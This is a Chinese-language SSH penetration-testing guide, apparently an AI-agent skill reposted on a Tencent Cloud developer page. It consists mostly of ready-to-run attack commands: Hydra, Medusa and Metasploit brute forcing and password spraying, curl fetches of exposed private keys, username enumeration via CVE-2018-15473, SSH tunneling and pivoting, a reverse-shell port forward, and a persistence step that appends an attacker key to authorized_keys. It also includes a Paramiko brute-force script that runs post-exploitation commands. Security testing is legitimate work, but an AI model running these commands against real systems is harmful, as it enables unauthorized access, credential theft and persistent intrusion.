进行全面的 SSH 安全评估，包括枚举、凭据攻击、漏洞利用、隧道技术和后期利用活动。本技能涵盖测试 SSH 服务安全的完整方法论。

# 快速 SSH 端口扫描
nmap -p 22 192.168.1.0/24 --open

# 常见的备用 SSH 端口
nmap -p 22,2222,22222,2200 192.168.1.100

# SSH 全端口扫描
nmap -p- --open 192.168.1.100 | grep -i ssh

# 服务版本检测
nmap -sV -p 22 192.168.1.100

收集有关 SSH 服务的详细信息：

# 横幅抓取
nc 192.168.1.100 22
# 输出：SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet 横幅抓取
telnet 192.168.1.100 22

# 带脚本的 Nmap 版本检测
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# 枚举支持的算法
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# 获取主机密钥
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# 检查认证方法
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100

# ssh-audit - 全面 SSH 审计
ssh-audit 192.168.1.100

# 带特定端口的 ssh-audit
ssh-audit -p 2222 192.168.1.100

# 输出包括：
# - 算法建议
# - 安全漏洞
# - 加固建议

# 单用户名、密码列表
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# 用户名列表、单密码
hydra -L users.txt -p Password123 ssh://192.168.1.100

# 用户名和密码列表
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# 带特定端口
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# 速率限制规避（慢速）
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# 详细输出
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# 首次成功后退出
hydra -l admin -P passwords.txt -f ssh://192.168.1.100

# 基本暴力破解
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# 多个目标
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# 带用户名列表
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# 特定端口
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222

# 跨用户测试常见密码
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# 多个常见密码
for pass in "Password123" "Welcome1" "Summer2024!"; do
    hydra -L users.txt -p "$pass" ssh://192.168.1.100
done

# 尝试使用找到的私钥登录
ssh -i id_rsa user@192.168.1.100

# 显式指定密钥（绕过代理）
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100

# 强制密码认证
ssh -o PreferredAuthentications=password user@192.168.1.100

# 尝试常见密钥名称
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
    ssh -i "$key" user@192.168.1.100
done

# 私钥的常见位置
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/

# 可通过 Web 访问的密钥（使用 curl/wget 检查）
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz

# 搜索利用代码
searchsploit openssh
searchsploit openssh 7.2

# 常见 SSH 漏洞
# CVE-2018-15473 - 用户名枚举
# CVE-2016-0777 - 漫游漏洞
# CVE-2016-0778 - 缓冲区溢出

# Metasploit 枚举
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run

# 用户名枚举（CVE-2018-15473）
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run

# 语法：ssh -L <本地端口>:<远程主机>:<远程端口> user@ssh_server

# 通过 SSH 访问内部 Web 服务器
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# 现在访问 http://localhost:8080

# 访问内部数据库
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100

# 多个转发
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100

# 语法：ssh -R <远程端口>:<本地主机>:<本地端口> user@ssh_server

# 将本地 Web 服务器暴露到远程
ssh -R 8080:localhost:80 user@192.168.1.100
# 远程可通过 localhost:8080 访问

# 反向 shell 回调
ssh -R 4444:localhost:4444 user@192.168.1.100

创建用于网络跳板的 SOCKS 代理：

# 在本地端口 1080 创建 SOCKS 代理
ssh -D 1080 user@192.168.1.100

# 与 proxychains 一起使用
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24

# 浏览器配置
# 将 SOCKS 代理设置为 localhost:1080

通过多个 SSH 服务器链式连接：

# 通过中间主机跳转
ssh -J user1@jump_host user2@target_host

# 多次跳转
ssh -J user1@jump1,user2@jump2 user3@target

# 使用 SSH 配置
# ~/.ssh/config
Host target
    HostName 192.168.2.50
    User admin
    ProxyJump user@192.168.1.100

# 检查 sudo 权限
sudo -l

# 查找 SSH 密钥
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# 检查 SSH 目录
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys

# 添加持久化（添加你的密钥）
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

# 提取 SSH 配置
cat /etc/ssh/sshd_config

# 查找其他用户
cat /etc/passwd | grep -v nologin
ls /home/

# 查找历史记录中的凭据
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass

阶段 9：使用 Paramiko 的自定义 SSH 脚本

#!/usr/bin/env python3
import paramiko
import sys

def ssh_connect(host, username, password):
    """Attempt SSH connection with credentials"""
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        client.connect(host, username=username, password=password, timeout=5)
        print(f"[+] Success: {username}:{password}")
        return client
    except paramiko.AuthenticationException:
        print(f"[-] Failed: {username}:{password}")
        return None
    except Exception as e:
        print(f"[!] Error: {e}")
        return None

def execute_command(client, command):
    """Execute command via SSH"""
    stdin, stdout, stderr = client.exec_command(command)
    output = stdout.read().decode()
    errors = stderr.read().decode()
    return output, errors

def ssh_brute_force(host, username, wordlist):
    """Brute-force SSH with wordlist"""
    with open(wordlist, 'r') as f:
        passwords = f.read().splitlines()
    
    for password in passwords:
        client = ssh_connect(host, username, password.strip())
        if client:
            # Run post-exploitation commands
            output, _ = execute_command(client, 'id; uname -a')
            print(output)
            client.close()
            return True
    return False

# Usage
if __name__ == "__main__":
    target = "192.168.1.100"
    user = "admin"
    
    # Single credential test
    client = ssh_connect(target, user, "password123")
    if client:
        output, _ = execute_command(client, "ls -la")
        print(output)
        client.close()

使用 Metasploit 进行全面 SSH 测试：

# 启动 Metasploit
msfconsole

# SSH 版本扫描器
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# SSH 登录暴力破解
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run

# SSH 密钥登录
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run

# 用户名枚举
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run

# 使用 SSH 会话进行后期利用
sessions -i 1

Hydra hydra -l user -P pass.txt ssh://host

Medusa medusa -h host -u user -P pass.txt -M ssh

Ncrack ncrack -p 22 --user admin -P pass.txt host

Metasploit use auxiliary/scanner/ssh/ssh_login

本地 -L 8080:target:80 本地访问远程服务

远程 -R 8080:localhost:80 远程暴露本地服务

动态 -D 1080 用于跳板的 SOCKS 代理

连接被拒绝 验证 SSH 正在运行；检查防火墙；确认端口；从不同 IP 测试

认证失败 验证用户名；检查密码策略；密钥权限（600）；authorized_keys 格式

隧道不工作 检查 sshd_config 中的 GatewayPorts/AllowTcpForwarding；验证防火墙；使用 ssh -v

Ssh Penetration Testing 实用指南

Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.

云计算

SSH渗透测试完整指南，涵盖服务发现、配置审计、暴力破解、漏洞利用及隧道技术，提供Nmap、Hydra、Metasploit等工具的实战命令与操作流程，帮助安全人员高效完成SSH安全评估。

双因素认证

配置审计

漏洞评估

数据库

服务器

虚拟机

防火墙

Python

Debian

Linux

Agent

2026上云采购 | AI焕新·智启新局

tpts

文章

问答

视频

教程

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云智能顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

EdgeOne AI 安全实战专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

聚焦“写作效率、视觉美观与运行性能”三方面进行全面升级，为您提供更高效、稳定的创作环境

社区富文本&Markdown编辑器全新改版上线，欢迎大家体验!

诚挚邀请您参与本次调研，分享您的真实使用感受与建议。您的反馈至关重要，感谢您的支持与参与！

Ssh Penetration Testing 实用指南

Ssh Penetration Testing 实用指南

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐